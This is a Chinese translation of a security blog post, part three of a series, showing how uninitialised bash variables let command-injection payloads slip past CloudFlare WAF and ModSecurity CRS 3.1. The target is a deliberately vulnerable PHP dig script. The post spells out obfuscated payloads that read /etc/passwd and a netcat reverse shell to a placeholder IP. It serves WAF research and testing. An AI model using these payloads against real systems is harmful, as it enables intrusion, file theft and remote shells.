當前位置:
首頁 > 新聞 > Web應用程序防火牆(WAF)bypass技術討論(三)

Web應用程序防火牆(WAF)bypass技術討論(三)

本文探討了如何使用未初始化的bash變數來繞過基於正則表達式過濾器和模式匹配的WAF,現在讓我們看看它如何在CloudFlare WAF和ModSecurity OWASP CRS3上完成的。


回顧:Web應用程序防火牆(WAF)bypass技術討論(一)


未初始化的變數

在本文中,我將展示一種使用未初始化的bash變數的技術,來繞過基於正則表達式的過濾器和模式匹配。

echo "uninitialized_variable=$uninitialized_variable"

未初始化的變數具有null值(根本沒有值)。

uninitialized_variable=

如上所述,聲明後但不初始化它與將其設置為空值相同。


默認情況下,bash會像Perl那樣處理未初始化的變數,把它們當做空字元串,它們可以在參數內使用,甚至可以執行與未初始化變數連接的命令。讓我們從一個例子開始吧。



假設我們要執行命令cat /etc/passwd,我們可以使用以下語法:ca$u /etc$u/passwd$u


其中$u不存在,並且被bash視為空字元串:



這可用於繞過WAF的規則,讓我們使用CloudFlare WAF和ModSecurity OWASP核心規則集3.1進行一些測試。


CloudFlare WAF (專業配置)


和前兩篇文章一樣,我將在一個非常簡單的PHP腳本上測試這種bypass技術,這個腳本絕對容易受到影響而且遠離現實場景(我希望如此)。通過這個測試來評估像CloudFlare那樣的優質服務是愚蠢的。這只是一種在「真實」場景中更好地解釋這種技術的方法,這並不意味著 CloudFlare WAF比其他人更安全或更不安全。它只是展示為什麼需要知道自己寫的代碼是如何易受攻擊以及開發者可以採取哪些措施來修復它或開發自定義規則(而且,在之前的文章中,我是使用Sucuri進行此類測試…但本文改變了測試目標)。


我所做的是啟用所有CloudFlare WAF規則並將安全級別配置為高(似乎所有都基於OWASP CRS 2 ……)。


簡單的PHP腳本:

<?php
       if(isset($_GET["host"])) {
               system("dig ".$_GET["host"]);
       }
?>

這個非常簡單的PHP腳本用dig解析GET參數上host的給定主機名,例如/?host=www.google.com。


響應是:



顯然,僅僅通過在主機名後面加一個分號並啟動一個新命令就容易受到RCE的攻擊,例如:/?host=www.google.com;ls+/


但是如果我嘗試通過執行cat /etc/passwd來讀取/etc/passwd文件呢?讓我們嘗試:/?host=www.google.com;cat+/etc/passwd


我被阻止了,這很好!現在我可以嘗試將未初始化的變數放置在/etc/passwd來繞過整個規則集,例如:/?host=www.google.com;cat$u+/etc$u/passwd$u,其中$u是我定義的空字元串。



正如在上面的屏幕截圖中看到的,我的請求已通過,並且/etc/passwd文件已泄露。不是很酷嗎?┌(????)つ┣▇▇▇═──


CloudFlare有一些特定的規則來防止netcat使用來獲得反彈shell。所以,我決定試圖繞過CloudFlare WAF規則集獲得反彈shell。在這種情況下,我只是將CloudFlare Specials類別所有規則設置為「block」。


首先嘗試在埠1337上使用參數-e /bin/bash執行netcat到我的IP。



好消息:CloudFlare阻止了我的請求。現在我想嘗試執行相同的命令,在nc參數/bin/bash之後和之內添加一些未初始化的bash變數,如:

nc$u -e /bin$u/bash$u 1.2.3.4 1337

直接繞過了,獲得了shell。



ModSecurity OWASP CRS3.1


使用CRS3.1後所有bypass技術將變得更難,特別是將防護等級提高到3(CRS3上有4個防護等級,但第四個是完全不可能繞過的),這就是我喜歡CRS3的眾多原因之一!


與CloudFlare上發生的情況不同,在Paranoia Level 3上配置CRS3.1,我的第一個測試被規則932100 「Unix命令注入」 阻止:



我該怎麼做才能繞過這條規則?我知道;被阻止了,但是payload;可能會通過……所以我想試試:


?host=www.google.it;+$u+cat+/etc/passwd


太好了!我繞過了規則932100,但由於參數主機中的etc/passwd字元串導致我的請求被阻止了。我能做的是在etc/passwd路徑中添加更多未初始化的變數,如:


?host=www.google.it;+$u+cat+/etc$u/passwd$u



與我對CloudFlare WAF的測試不同,使用具有防護等級3的CRS3.1繞過它更難,並且在PHP腳本中通過$_GET[『host』]包含雙引號後要繞過的話則變得非常不可能。不過還是試一試吧:

<?php
       if(isset($_GET["host"])) {
               system("dig "".$_GET["host"].""");
       }
?>

現在,為了注入命令,分號是不夠的……我需要處理雙引號並注釋掉最後的雙引號。例如:

/?host=www.google.it";cat+/etc/passwd+#

我知道你在想什麼:「現在有雙引號,分號,包含變數的RCE有效payload和注釋字元,CloudFlare會阻止它」……然而事實是並未阻止。



與CloudFlare不同,在OWASP CRS3上,由於兩條規則,我無法繞過防護等級3的規則集:




  • 942460 元字元異常檢測警報 - 重複非字字元:由於「,;,/和$字元,它阻止了我的請求。



  • 942260 檢測到數量達到2/3的基本SQL身份驗證繞過:我被此規則阻止了才嘗試使用較少的特殊字元。


將防護水平降低到2,就很有效:


/?host=www.google.it「;+$u+cat+/etc$u/passwd+#


結論


為什麼阻止這種請求如此困難?為什麼WAF通常不會阻止參數值中的美元字元?因為它會容易出現許多誤報。恕我直言,最好的方法是CRS3使用的方法,只有在單個值中找到4個或更多重複的非單詞字元時才會阻止,這比阻止特定字元更聰明,誤報率更低。


感謝閱讀!


參考來源:secjuice,生如夏花編譯,轉載請註明來自 FreeBuf.COM


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

海外版「知乎」Quora 遭黑客入侵,近一億用戶信息泄露
思路決定成敗:F12給了我黑色的眼睛我卻用它來挖洞

TAG:FreeBuf |